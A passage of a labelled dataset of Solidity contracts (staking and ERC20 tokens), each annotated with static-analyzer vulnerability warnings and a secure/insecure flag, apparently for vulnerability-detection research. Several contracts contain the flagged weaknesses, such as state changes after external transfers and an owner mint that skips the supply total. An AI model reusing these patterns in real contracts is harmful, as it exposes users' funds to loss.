stakeLocks[msg.sender][stakeNonce] = block.timestamp + lockDuration;\n\t\t// reentrancy-benign | ID: 468e16c\n stakeAmounts[msg.sender][stakeNonce] = amount;\n emit Staked(msg.sender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5d39f2c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5d39f2c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function stakeFor(\n uint256 amount,\n address user\n ) external override nonReentrant {\n require(\n amount > 0,\n \"LockStakingRewardSameTokenFixedAPY: Cannot stake 0\"\n );\n _totalSupply = _totalSupply.add(amount);\n uint256 previousAmount = _balances[user];\n uint256 newAmount = previousAmount.add(amount);\n weightedStakeDate[user] = (weightedStakeDate[user].mul(previousAmount) /\n newAmount).add(block.timestamp.mul(amount) / newAmount);\n _balances[user] = newAmount;\n\t\t// reentrancy-benign | ID: 5d39f2c\n token.safeTransferFrom(msg.sender, address(this), amount);\n\t\t// reentrancy-benign | ID: 5d39f2c\n uint256 stakeNonce = stakeNonces[user]++;\n\t\t// reentrancy-benign | ID: 5d39f2c\n stakeLocks[user][stakeNonce] = block.timestamp + lockDuration;\n\t\t// reentrancy-benign | ID: 5d39f2c\n stakeAmounts[user][stakeNonce] = amount;\n emit Staked(user, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6498dbe): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 6498dbe: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 1c8d614): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 1c8d614: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdraw(uint256 nonce) public override nonReentrant {\n uint256 amount = stakeAmounts[msg.sender][nonce];\n require(\n stakeAmounts[msg.sender][nonce] > 0,\n \"LockStakingRewardSameTokenFixedAPY: This stake nonce was withdrawn\"\n );\n\t\t// timestamp | ID: 6498dbe\n require(\n stakeLocks[msg.sender][nonce] < block.timestamp,\n \"LockStakingRewardSameTokenFixedAPY: Locked\"\n );\n _totalSupply = _totalSupply.sub(amount);\n\t\t// reentrancy-no-eth | ID: d22df96\n _balances[msg.sender] = _balances[msg.sender].sub(amount);\n\t\t// reentrancy-events | ID: 65c3ae5\n\t\t// reentrancy-no-eth | ID: 1c8d614\n\t\t// reentrancy-no-eth | ID: d22df96\n token.safeTransfer(msg.sender, amount);\n\t\t// reentrancy-no-eth | ID: 1c8d614\n stakeAmounts[msg.sender][nonce] = 0;\n\t\t// reentrancy-events | ID: 65c3ae5\n emit Withdrawn(msg.sender, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 28b74f7): LockStakingRewardSameTokenFixedAPY.getReward() uses timestamp for comparisons Dangerous comparisons reward > 0\n\t// Recommendation for 28b74f7: Avoid relying on 'block.timestamp'.\n function getReward() public override nonReentrant {\n uint256 reward = earned(msg.sender);\n\t\t// timestamp | ID: 28b74f7\n if (reward > 0) {\n weightedStakeDate[msg.sender] = block.timestamp;\n\t\t\t// reentrancy-events | ID: 65c3ae5\n\t\t\t// reentrancy-no-eth | ID: d22df96\n token.safeTransfer(msg.sender, reward);\n emit RewardPaid(msg.sender, reward);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 65c3ae5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 65c3ae5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: d22df96): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for d22df96: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdrawAndGetReward(uint256 nonce) external override {\n\t\t// reentrancy-events | ID: 65c3ae5\n\t\t// reentrancy-no-eth | ID: d22df96\n getReward();\n\t\t// reentrancy-events | ID: 65c3ae5\n\t\t// reentrancy-no-eth | ID: d22df96\n withdraw(nonce);\n }\n\n function updateRewardAmount(uint256 reward) external onlyOwner {\n rewardRate = reward;\n emit RewardUpdated(reward);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2553b30): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2553b30: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function rescue(\n address to,\n address tokenAddress,\n uint256 amount\n ) external onlyOwner {\n require(\n to != address(0),\n \"LockStakingRewardSameTokenFixedAPY: Cannot rescue to the zero address\"\n );\n require(\n amount > 0,\n \"LockStakingRewardSameTokenFixedAPY: Cannot rescue 0\"\n );\n require(\n tokenAddress != address(token),\n \"LockStakingRewardSameTokenFixedAPY: Cannot rescue staking/reward token\"\n );\n\n\t\t// reentrancy-events | ID: 2553b30\n IERC20(tokenAddress).safeTransfer(to, amount);\n\t\t// reentrancy-events | ID: 2553b30\n emit RescueToken(to, address(tokenAddress), amount);\n }\n\n function rescue(address payable to, uint256 amount) external onlyOwner {\n require(\n to != address(0),\n \"LockStakingRewardSameTokenFixedAPY: Cannot rescue to the zero address\"\n );\n require(\n amount > 0,\n \"LockStakingRewardSameTokenFixedAPY: Cannot rescue 0\"\n );\n\n to.transfer(amount);\n emit Rescue(to, amount);\n }\n}",
"file_name": "solidity_code_3527.sol",
"secure": 0,
"size_bytes": 12252
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ChainShift is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: e841a47): ChainShift._decimals should be immutable \n\t// Recommendation for e841a47: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: a00696c): ChainShift._totalSupply should be immutable \n\t// Recommendation for a00696c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (constable-states | ID: 3b96730): ChainShift._deadWallet should be constant \n\t// Recommendation for 3b96730: Add the 'constant' attribute to state variables that never change.\n address private _deadWallet = 0x000000000000000000000000000000000000dEaD;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapV2Pair;\n\n constructor(\n string memory name_,\n string memory symbol_,\n address uniswapV2Router_\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = 18;\n _totalSupply = 10000000 * 10 ** _decimals;\n _balances[_msgSender()] += _totalSupply;\n setDexPairing(uniswapV2Router_);\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function setPancakeRouter(address _newRouter) public onlyOwner {\n setDexPairing(_newRouter);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a7a15f4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a7a15f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function setDexPairing(address uniswapV2Router_) internal {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n uniswapV2Router_\n );\n\t\t// reentrancy-benign | ID: a7a15f4\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: a7a15f4\n uniswapV2Router = _uniswapV2Router;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function circulationSupply() public view returns (uint256) {\n return _totalSupply.sub(balanceOf(_deadWallet));\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2f661ba): ChainShift.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2f661ba: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"SHIFT: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"SHIFT: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"SHIFT: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function mint(uint256 amount) public onlyOwner returns (bool) {\n _mint(_msgSender(), amount);\n return true;\n }\n\n function burn(uint256 amount) public onlyOwner returns (bool) {\n _burn(_msgSender(), amount);\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"SHIFT: mint to the zero address\");\n _beforeTokenTransfer(address(0), account, amount);\n _balances[account] += amount;\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"SHIFT: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"SHIFT: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _balances[_deadWallet] += amount;\n\n emit Transfer(account, _deadWallet, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bae88aa): ChainShift._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for bae88aa: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"SHIFT: approve from the zero address\");\n require(spender != address(0), \"SHIFT: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3528.sol",
"secure": 0,
"size_bytes": 8698
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IecCard {\n function mintCards(uint256 numberOfCards, address recipient) external;\n}",
"file_name": "solidity_code_3529.sol",
"secure": 1,
"size_bytes": 166
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract CFees is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 985701c): CFees._name should be constant \n\t// Recommendation for 985701c: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Strategic Dogecoin Reserve\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 5dd51e2): CFees._symbol should be constant \n\t// Recommendation for 5dd51e2: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"SDR\";\n\n\t// WARNING Optimization Issue (constable-states | ID: a6bac32): CFees._decimals should be constant \n\t// Recommendation for a6bac32: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 08956d0): CFees._totalSupply should be immutable \n\t// Recommendation for 08956d0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 1000000000 * 10 ** _decimals;\n\n uint256 private _maxTxAmount = _totalSupply;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n constructor() {\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) private {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n require(\n amount <= _maxTxAmount,\n \"Transfer amount exceeds the maxTxAmount\"\n );\n\n _balances[from] = _balances[from].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function updateMaxTxAmount(uint256 newMaxTxAmount) external onlyOwner {\n require(\n newMaxTxAmount >= _totalSupply / 100,\n \"ERC20: maxTxAmount must be at least 1% of total supply\"\n );\n\n _maxTxAmount = newMaxTxAmount;\n\n emit MaxTxAmountUpdated(newMaxTxAmount);\n }\n}",
"file_name": "solidity_code_353.sol",
"secure": 1,
"size_bytes": 4853
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./iec_card.sol\" as iec_card;\n\ncontract MorePlutos {\n\t// WARNING Optimization Issue (immutable-states | ID: b07eedc): more_plutos.owner should be immutable \n\t// Recommendation for b07eedc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address owner = msg.sender;\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Unauthorised\");\n _;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: f720f42): more_plutos.mintTokens(iec_card,address[],uint256[]) has external calls inside a loop token.mintCards(amounts[pos],recips[pos])\n\t// Recommendation for f720f42: Favor pull over push strategy for external calls.\n function mintTokens(\n iec_card token,\n address[] calldata recips,\n uint256[] calldata amounts\n ) external onlyOwner {\n require(recips.length == amounts.length, \"Match\");\n for (uint256 pos = 0; pos < recips.length; pos++) {\n\t\t\t// calls-loop | ID: f720f42\n token.mintCards(amounts[pos], recips[pos]);\n }\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 2ae47e7): more_plutos.mintTokensToAddresses(iec_card,address[]) has external calls inside a loop token.mintCards(1,recips[pos])\n\t// Recommendation for 2ae47e7: Favor pull over push strategy for external calls.\n function mintTokensToAddresses(\n iec_card token,\n address[] calldata recips\n ) external onlyOwner {\n for (uint256 pos = 0; pos < recips.length; pos++) {\n\t\t\t// calls-loop | ID: 2ae47e7\n token.mintCards(1, recips[pos]);\n }\n }\n}",
"file_name": "solidity_code_3530.sol",
"secure": 0,
"size_bytes": 1729
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n uint256 c = a * b;\n require(c / a == b, \"SafeMath mul failed\");\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a / b;\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= a, \"SafeMath sub failed\");\n return a - b;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath add failed\");\n return c;\n }\n}",
"file_name": "solidity_code_3531.sol",
"secure": 1,
"size_bytes": 793
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract Owned {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9c27ff5): CMCXToken.allowance(address,address).owner shadows owned.owner (state variable)\n\t// Recommendation for 9c27ff5: Rename the local variables that shadow another component.\n address payable public owner;\n address payable internal newOwner;\n\n event OwnershipTransferred(address indexed _from, address indexed _to);\n\n constructor() {\n owner = payable(msg.sender);\n emit OwnershipTransferred(address(0), owner);\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 52d4a3b): owned.transferOwnership(address)._newOwner lacks a zerocheck on \t newOwner = _newOwner\n\t// Recommendation for 52d4a3b: Check that the address is not zero.\n function transferOwnership(address payable _newOwner) external onlyOwner {\n\t\t// missing-zero-check | ID: 52d4a3b\n newOwner = _newOwner;\n }\n\n function acceptOwnership() external {\n require(msg.sender == newOwner);\n emit OwnershipTransferred(owner, newOwner);\n owner = newOwner;\n newOwner = payable(address(0));\n }\n}",
"file_name": "solidity_code_3532.sol",
"secure": 0,
"size_bytes": 1310
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC1363Spender {\n function onApprovalReceived(\n address sender,\n uint256 amount,\n bytes calldata data\n ) external returns (bytes4);\n}",
"file_name": "solidity_code_3533.sol",
"secure": 1,
"size_bytes": 245
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC1363Receiver {\n function onTransferReceived(\n address operator,\n address sender,\n uint256 amount,\n bytes calldata data\n ) external returns (bytes4);\n}",
"file_name": "solidity_code_3534.sol",
"secure": 1,
"size_bytes": 273
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ErnieGenerator {\n function deposit() external payable;\n\n function withdraw(uint256 amount) external;\n\n function getOneConnectToken() external view returns (uint256);\n}",
"file_name": "solidity_code_3535.sol",
"secure": 1,
"size_bytes": 254
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\n\nabstract contract ERC165 is IERC165 {\n mapping(bytes4 => bool) private _supportedInterfaces;\n\n constructor() {\n _registerInterface(type(IERC165).interfaceId);\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return _supportedInterfaces[interfaceId];\n }\n\n function _registerInterface(bytes4 interfaceId) internal virtual {\n require(interfaceId != 0xffffffff, \"ERC165: invalid interface id\");\n _supportedInterfaces[interfaceId] = true;\n }\n}",
"file_name": "solidity_code_3536.sol",
"secure": 1,
"size_bytes": 707
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./owned.sol\" as owned;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/interfaces/IERC1363Spender.sol\" as IERC1363Spender;\nimport \"@openzeppelin/contracts/interfaces/IERC1363Receiver.sol\" as IERC1363Receiver;\n\ncontract CMCXToken is owned, ERC165 {\n using SafeMath for uint256;\n string private constant _name = \"CORE MultiChain Token\";\n string private constant _symbol = \"CMCX\";\n uint256 private constant _decimals = 18;\n uint256 private _totalSupply = 20000000000 * (10 ** _decimals);\n uint256 public constant maxSupply = 20000000000 * (10 ** _decimals);\n bool public safeguard;\n\n mapping(address => uint256) private _balanceOf;\n mapping(address => mapping(address => uint256)) private _allowance;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Burn(address indexed from, uint256 value);\n\n event FrozenAccounts(address target, bool frozen);\n\n event Approval(\n address indexed from,\n address indexed spender,\n uint256 value\n );\n\n function name() external pure returns (string memory) {\n return _name;\n }\n\n function symbol() external pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() external pure returns (uint256) {\n return _decimals;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address user) external view returns (uint256) {\n return _balanceOf[user];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9c27ff5): CMCXToken.allowance(address,address).owner shadows owned.owner (state variable)\n\t// Recommendation for 9c27ff5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256) {\n return _allowance[owner][spender];\n }\n\n function _transfer(address _from, address _to, uint256 _value) internal {\n require(!safeguard);\n require(_to != address(0));\n\n _balanceOf[_from] = _balanceOf[_from].sub(_value);\n _balanceOf[_to] = _balanceOf[_to].add(_value);\n\n emit Transfer(_from, _to, _value);\n }\n\n function transfer(\n address _to,\n uint256 _value\n ) public returns (bool success) {\n _transfer(msg.sender, _to, _value);\n return true;\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public returns (bool success) {\n _allowance[_from][msg.sender] = _allowance[_from][msg.sender].sub(\n _value\n );\n _transfer(_from, _to, _value);\n return true;\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) public returns (bool success) {\n require(!safeguard);\n\n _allowance[msg.sender][_spender] = _value;\n emit Approval(msg.sender, _spender, _value);\n return true;\n }\n\n function increase_allowance(\n address spender,\n uint256 value\n ) external returns (bool) {\n require(spender != address(0));\n _allowance[msg.sender][spender] = _allowance[msg.sender][spender].add(\n value\n );\n emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);\n return true;\n }\n\n function decrease_allowance(\n address spender,\n uint256 value\n ) external returns (bool) {\n require(spender != address(0));\n _allowance[msg.sender][spender] = _allowance[msg.sender][spender].sub(\n value\n );\n emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);\n return true;\n }\n\n constructor() {\n _balanceOf[owner] = _totalSupply;\n\n emit Transfer(address(0), owner, _totalSupply);\n\n _registerInterface(_INTERFACE_ID_ERC1363_TRANSFER);\n _registerInterface(_INTERFACE_ID_ERC1363_APPROVE);\n }\n\n receive() external payable {}\n\n function burn(uint256 _value) external returns (bool success) {\n require(!safeguard);\n\n _balanceOf[msg.sender] = _balanceOf[msg.sender].sub(_value);\n _totalSupply = _totalSupply.sub(_value);\n emit Burn(msg.sender, _value);\n emit Transfer(msg.sender, address(0), _value);\n return true;\n }\n\n function mintToken(\n address target,\n uint256 mintedAmount\n ) external onlyOwner {\n require(\n _totalSupply.add(mintedAmount) <= maxSupply,\n \"Cannot Mint more than maximum supply\"\n );\n _balanceOf[target] = _balanceOf[target].add(mintedAmount);\n _totalSupply = _totalSupply.add(mintedAmount);\n emit Transfer(address(0), target, mintedAmount);\n }\n\n function manualWithdrawTokens(uint256 tokenAmount) external onlyOwner {\n _transfer(address(this), owner, tokenAmount);\n }\n\n function manualWithdrawEther() external onlyOwner {\n owner.transfer(address(this).balance);\n }\n\n function changeSafeguardStatus() external onlyOwner {\n if (safeguard == false) {\n safeguard = true;\n } else {\n safeguard = false;\n }\n }\n\n function airdropACTIVE(\n address[] memory recipients,\n uint256[] memory tokenAmount\n ) external returns (bool) {\n uint256 totalAddresses = recipients.length;\n address msgSender = msg.sender;\n require(totalAddresses <= 100, \"Too many recipients\");\n for (uint256 i = 0; i < totalAddresses; i++) {\n _transfer(msgSender, recipients[i], tokenAmount[i]);\n }\n return true;\n }\n\n bytes4 internal constant _INTERFACE_ID_ERC1363_TRANSFER = 0x4bbee2df;\n\n bytes4 internal constant _INTERFACE_ID_ERC1363_APPROVE = 0xfb9ec8ce;\n\n bytes4 private constant _ERC1363_RECEIVED = 0x88a7ca5c;\n\n bytes4 private constant _ERC1363_APPROVED = 0x7b04a2d0;\n\n function transferAndCall(\n address recipient,\n uint256 amount\n ) public virtual returns (bool) {\n return transferAndCall(recipient, amount, \"\");\n }\n\n function transferAndCall(\n address recipient,\n uint256 amount,\n bytes memory data\n ) public virtual returns (bool) {\n transfer(recipient, amount);\n require(\n _checkAndCallTransfer(_msgSender(), recipient, amount, data),\n \"ERC1363: _checkAndCallTransfer reverts\"\n );\n return true;\n }\n\n function transferFromAndCall(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual returns (bool) {\n return transferFromAndCall(sender, recipient, amount, \"\");\n }\n\n function transferFromAndCall(\n address sender,\n address recipient,\n uint256 amount,\n bytes memory data\n ) public virtual returns (bool) {\n transferFrom(sender, recipient, amount);\n require(\n _checkAndCallTransfer(sender, recipient, amount, data),\n \"ERC1363: _checkAndCallTransfer reverts\"\n );\n return true;\n }\n\n function approveAndCall(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n return approveAndCall(spender, amount, \"\");\n }\n\n function approveAndCall(\n address spender,\n uint256 amount,\n bytes memory data\n ) public virtual returns (bool) {\n approve(spender, amount);\n require(\n _checkAndCallApprove(spender, amount, data),\n \"ERC1363: _checkAndCallApprove reverts\"\n );\n return true;\n }\n\n function _checkAndCallTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bytes memory data\n ) internal virtual returns (bool) {\n if (!isContract(recipient)) {\n return false;\n }\n bytes4 retval = IERC1363Receiver(recipient).onTransferReceived(\n _msgSender(),\n sender,\n amount,\n data\n );\n return (retval == _ERC1363_RECEIVED);\n }\n\n function _checkAndCallApprove(\n address spender,\n uint256 amount,\n bytes memory data\n ) internal virtual returns (bool) {\n if (!isContract(spender)) {\n return false;\n }\n bytes4 retval = IERC1363Spender(spender).onApprovalReceived(\n _msgSender(),\n amount,\n data\n );\n return (retval == _ERC1363_APPROVED);\n }\n\n function isContract(address account) internal view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n return msg.data;\n }\n}",
"file_name": "solidity_code_3537.sol",
"secure": 0,
"size_bytes": 9401
} |
{
